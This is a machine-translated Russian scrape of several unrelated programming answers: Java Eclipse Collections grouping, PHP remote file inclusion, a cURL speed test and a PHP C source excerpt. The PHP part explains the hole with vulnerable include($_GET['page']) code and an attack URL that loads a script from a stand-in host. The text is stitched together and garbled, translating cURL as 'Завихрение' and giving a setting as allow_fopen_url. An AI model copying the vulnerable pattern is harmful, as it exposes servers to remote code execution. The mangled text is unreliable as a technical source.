Вы можете использовать groupByEach
из Eclipse Collections .
Multimap itemsByCategory =
ListIterate.groupByEach(myItemList, Item::getBelongsToCategories);
System.out.println(itemsByCategory);
Вывод:
{D=[Item{id=4}, Item{id=5}],
E=[Item{id=5}],
F=[Item{id=6}],
A=[Item{id=1}, Item{id=2}, Item{id=6}],
B=[Item{id=1}, Item{id=3}],
C=[Item{id=2}, Item{id=3}]}
Вы также можете использовать служебный класс Collectors2
и groupByEach
Collector с Java Stream
.
Multimap itemsByCategory = myItemList.stream().collect(
Collectors2.groupByEach(
Item::getBelongsToCategories,
Multimaps.mutable.list::empty));
Примечание: я являюсь коммиттером для Eclipse Collections.
fopen()
только откроет удаленные URL если allow_fopen_url
во включают php.ini
.
Однако в версиях до 5.2.0, это было чрезвычайно опасно потому что include
функция также загрузила бы и проанализировала бы код PHP от удаленных сайтов. Наивный кодер мог легко ловиться с кодом как:
<?php
$page = $_GET['page'];
include($page);
?>
в которой точке взломщик просто должен попросить http://example.com/script.php?page=http://example.net/my_exploit_script
выполнять их собственный код в системе и представлять использование. К сожалению, значение по умолчанию для allow_fopen_url
'включено'.
К счастью, с тех пор 5.2.0 существует отдельная установка (который должен принять значение по умолчанию к 'прочь'), названный allow_url_include
который предотвращает include
от загрузки удаленного кода.
Лично, если у Вас есть опция использовать Завихрение, используйте это, а не fopen
.
Как Alnitak упомянутое, использующее ЗАВИХРЕНИЕ не зависит от настроек PHP. Я сделал некоторые тесты скорости
file_get_contents
с моим
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
Результат:
0.263456821442
0.0626730918884
ЗАВИХРЕНИЕ в 4 раза быстрее :)
примечание стороны: PHP может быть настроен для использования завихрения для http url_wrapper вместо того, чтобы использовать "его собственную" реализацию.
ext/curl/interface.c:
#ifdef PHP_CURL_URL_WRAPPERS # if HAVE_CURL_VERSION_INFO { curl_version_info_data *info = curl_version_info(CURLVERSION_NOW); char **p = (char **)info->protocols; while (*p != NULL) { php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC); } } # else php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC); php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC); # endif #endif